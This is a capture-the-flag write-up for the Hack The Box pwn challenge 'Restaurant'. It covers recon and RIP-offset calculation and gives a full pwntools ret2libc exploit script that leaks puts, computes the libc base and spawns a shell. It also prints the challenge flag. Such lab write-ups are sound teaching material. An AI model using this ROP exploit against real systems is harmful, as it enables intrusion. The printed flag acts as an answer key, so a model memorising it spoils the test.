HTB Challenge Write-up: Restaurant

Challenge Info

Name: Restaurant
Difficulty: Easy
Points: 20
Host: 83.136.255.170:39152
Goal: Exploit the service to read the flag.

Overview

Restaurant is a classic binary exploitation (pwn) challenge. The program accepts user input for building a dish. A vulnerable read allows writing far beyond a stack buffer, overwriting the saved return address (RIP). Because NX is enabled, shellcode injection is not possible; instead, we perform a two-stage ROP ret2libc attack: first leak a libc address using puts(), then call system('/bin/sh').

Recon & Protections

We inspect the binary locally and confirm the key security properties:

```
$ checksec --file=restaurant
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
Stripped: No
```

Important conclusions: there is **no stack canary** (overflow is possible), **NX is enabled** (need ROP/ret2libc), and **No PIE** (binary addresses are static, making ROP gadgets stable).

Finding the Overflow

Running the program shows a menu. Selecting option 1 (Fill my dish) leads to a second prompt that reads user input. The implementation reads too many bytes into a small stack buffer, allowing the return address to be overwritten.

```
■ Welcome to Rocky Restaurant ■

What would you like?
1. Fill my dish.
2. Drink something
> 1

You can add these ingredients to your dish:
1. ■
2. ■
You can also order something else.
>
```

Calculating the RIP Offset

We calculate the exact offset to RIP using pwntools cyclic patterns and a local crash/corefile.

```
python3 - <<'PY'
from pwn import *
context.binary = elf = ELF("./restaurant", checksec=False)

p = process(elf.path)
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'> ')
p.sendline(cyclic(500))
p.wait()

core = p.corefile
rip = core.read(core.rsp, 8)
print("RIP bytes:", rip)
print("OFFSET:", cyclic_find(rip))
PY
```

Output:

```
RIP bytes: b'kaaalaaa'
OFFSET: 40
```

Exploitation Plan (ret2libc)

Because NX is enabled, we use return-oriented programming (ROP) to call existing functions. The exploit is performed in two stages:

Stage 1: leak the runtime libc address of puts() via puts(puts@GOT), then return to main.
Stage 2: compute libc base, resolve system() and '/bin/sh', then call system('/bin/sh') to get a shell.

Final Exploit Script

```
from pwn import *

elf  = ELF("./pwn_restaurant/restaurant", checksec=False)
libc = ELF("./pwn_restaurant/libc.so.6", checksec=False)

HOST, PORT = "83.136.255.170", 39152
offset = 40

rop = ROP(elf)
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address
ret     = rop.find_gadget(["ret"]).address

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main     = elf.symbols["main"]

def go_to_ingredients(io):
    io.recvuntil(b"> ")
    io.sendline(b"1")
    io.recvuntil(b"> ")

def leak_puts(io):
    payload  = b"A"*offset
```

```
    payload += p64(pop_rdi) + p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(main)

    go_to_ingredients(io)
    io.sendline(payload)

    io.recvuntil(b"Enjoy your ")
    io.recvuntil(b"A"*offset)

    blob = io.recvuntil(b"\n1. ", timeout=5)
    leak_region = blob[:-4].split(b"\n")[0]
    leak_bytes = leak_region[-6:]
    leaked = u64(leak_bytes.ljust(8, b"\x00"))
    return leaked, leak_bytes

io = remote(HOST, PORT)

# Stage 1: leak
leaked_puts, leak_bytes = leak_puts(io)
print("puts leak bytes:", leak_bytes)
print("puts@libc:", hex(leaked_puts))

libc_base = leaked_puts - libc.symbols["puts"]
system = libc_base + libc.symbols["system"]
binsh  = libc_base + next(libc.search(b"/bin/sh"))

# Stage 2: shell
go_to_ingredients(io)
payload  = b"A"*offset
payload += p64(ret)
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)

io.sendline(payload)
io.interactive()
```

Getting the Flag

After exploitation, we obtain a shell and read the flag:

```
$ cat flag.txt
HTB{r3turn_2_th3_r3st4ur4nt!}
```

Flag

HTB{r3turn_2_th3_r3st4ur4nt!}

Summary

Restaurant contains a stack-based buffer overflow in the dish filling flow. With no stack canary and no PIE, a stable ROP chain can be built. NX forces a ret2libc strategy. By leaking puts@libc and calculating libc base, we call system('/bin/sh') and read the flag.